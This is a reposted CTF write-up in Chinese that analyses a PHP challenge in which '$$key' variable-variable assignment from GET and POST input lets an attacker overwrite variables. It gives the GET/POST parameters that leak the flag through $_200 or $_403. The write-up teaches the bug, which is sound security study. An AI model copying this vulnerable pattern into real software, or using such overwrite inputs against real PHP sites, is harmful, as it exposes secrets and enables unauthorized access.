ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

PHP_Code_Challenge-7-变量覆盖

2020-04-05 18:02:36  阅读:338  来源: 互联网

标签:200 Code Challenge value flag 403 key POST PHP


目录

题目

<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

分析

if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("BugsBunnyCTF is here :p...");

请求方式需为POST

if ( !isset($_POST["flag"]) )
    die($_403);

需要POST一个名为flag的变量

foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;

$$,变量覆盖
第一个foreach处,能将任意变量的值赋予任意变量
第二个foreach处,能将输入的值赋予任意变量

if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

试着POST了一发试试

显然flag不是这个1
看回上面的变量覆盖,foreach ($_POST as $key => $value)$$key = $value;
当只POST一个值为1的变量flag,$$key = $valu=>$flag = 1,使可能原本存在的变量$flag被赋值为1,即真实的flag被修改为变量flag的值,由于前面的两个if,这是无法被改变的
所以,需要在真实的flag被修改前将其值给其他变量并能输出出来
能输出的只有die($_403);die($_200);,所以思路是利用变量覆盖在flag被改前将真实的$flag的值覆盖$_403$_200并输出
而能利用变量覆盖将一个变量的值覆盖其他变量的地方只有第一个foreach处

知识点

$$变量覆盖


解法

$_200

将真实的flag覆盖$_200并输出$_200

$_GET['_200']='flag';
$_POST['flag']=1;

foreach ($_GET as $key => $value)
    $$key = $$value;

相当于$_200=$flag,将真flag给了$_200

foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);

$flag被修改为1,与$_POST['flag']等值,不满足$_POST["flag"] !== $flag

echo "This is your flag : ". $flag . "\n";
die($_200);

输出$_200即输出真flag

$_403

将真实的flag覆盖$_403并构造使$_403能输出

$_GET['_403']=flag&$_GET["_POST['flag']"]=2
$_POST['flag']=1;

foreach ($_GET as $key => $value)
    $$key = $$value;

相当于$_403=$flag,将真flag给了$_403,以及$_POST['flag']=$2$2不存在,即$_POST['flag']为空

foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);

$flag被修改为1,与$_POST['flag']不等,满足$_POST["flag"] !== $flag,输出$_403

标签:200,Code,Challenge,value,flag,403,key,POST,PHP
来源: https://www.cnblogs.com/Rain99-/p/12638275.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有